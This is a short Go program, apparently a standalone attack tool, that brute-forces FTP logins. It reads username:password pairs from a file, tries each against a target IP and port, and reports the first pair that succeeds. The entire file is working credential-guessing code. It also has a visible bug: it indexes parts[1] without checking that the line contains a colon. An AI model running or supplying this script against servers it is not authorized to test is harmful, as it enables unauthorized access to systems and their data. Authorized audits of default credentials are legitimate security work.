ftp-brute-force-default-credentails.go

package main

import (
    "flag"
    "fmt"
    "io/ioutil"
    "strings"
    "os"
    "github.com/jlaffaye/ftp"
)

func main() {
    ip := flag.String("ip", "127.0.0.1:21", "IP and port for FTP login")
    userpassFile := flag.String("up" , "ftp-username-password.txt","File containing usernames & passwords")
    flag.Parse()

    // Open the file
    file, err := ioutil.ReadFile(*userpassFile)
    if err != nil {
        fmt.Println(err)
        return
    }

    // Split the file contents by newlines
    lines := strings.Split(string(file), "\n")
    found:=false
    // Iterate through each line
    for _, line := range lines {
        // Split the line by colons
        parts := strings.Split(line, ":")

        username := parts[0]
        password := parts[1]

        // Try to log in
        client, err := ftp.Dial(*ip)
        if err != nil {
            fmt.Println(err)
            continue
        }

        // Print "Trying password"
        fmt.Printf("Trying %s:%s\n",username,password)

        err = client.Login(username, password)
        if err == nil {
            // If the login is successful, print the password and exit the program
            fmt.Printf("Successfully login with ip:%s username:%s password:%s\n",*ip,username,password)
            client.Quit()
            found=true
            os.Exit(0)
        } else {
            client.Quit()
        }
    }
    if !found {
        fmt.Printf("Password Not Found with ip:%s\n",*ip)
    }
}